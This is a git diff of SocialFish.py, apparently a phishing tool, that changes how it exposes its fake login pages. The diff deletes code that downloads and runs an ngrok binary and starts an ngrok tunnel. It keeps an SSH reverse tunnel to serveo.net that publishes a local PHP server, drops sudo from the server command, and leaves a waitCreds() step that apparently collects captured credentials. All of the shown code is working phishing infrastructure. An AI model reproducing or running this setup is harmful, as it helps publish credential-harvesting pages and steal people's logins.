diff --git a/SocialFish.py b/SocialFish.py index 6d4f838..5b4089b 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -34,21 +34,6 @@ if connected() == False: '''.format(RED, END)) exit(0) -def checkNgrok(): - if path.isfile('Server/ngrok') == False: - print ('[*] Downloading Ngrok...') - ostype = systemos().lower() - if architecture()[0] == '64bit': - filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype) - else: - filename = 'ngrok-stable-{0}-386.zip'.format(ostype) - url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename - download(url) - system('unzip ' + filename) - system('mv ngrok Server/ngrok') - system('rm -Rf ' + filename) - system('clear') -checkNgrok() def end(): system('clear') @@ -277,13 +262,7 @@ def runPEnv(): else: exit(0) -def runNgrok(): - system('./Server/ngrok http 1111 > /dev/null &') - sleep(10) - system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url') - url = open('ngrok.url', 'r') - print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, END, GREEN) + url.read() + "{1}".format(CYAN, END, GREEN)) - url.close() + def serveo(): system('ssh -R 80:localhost:1111 serveo.net > sendlink.txt 2> /dev/null & ') @@ -306,9 +285,10 @@ def serveo(): url.close() system('rm sendlink.txt') + def runServer(): - system("cd Server/www/ && sudo php -n -S 127.0.0.1:1111 > /dev/null 2>&1 &") + system("cd Server/www/ && php -n -S 127.0.0.1:1111 > /dev/null 2>&1 &") @@ -318,16 +298,17 @@ def runServer(): if __name__ == "__main__": try: runPEnv() - runNgrok() - serveo() + serveo() multiprocessing.Process(target=runServer).start() waitCreds() - except KeyboardInterrupt: - system('pkill -f ngrok') + + + + except KeyboardInterrupt: system('pkill -f ssh') end() exit(0)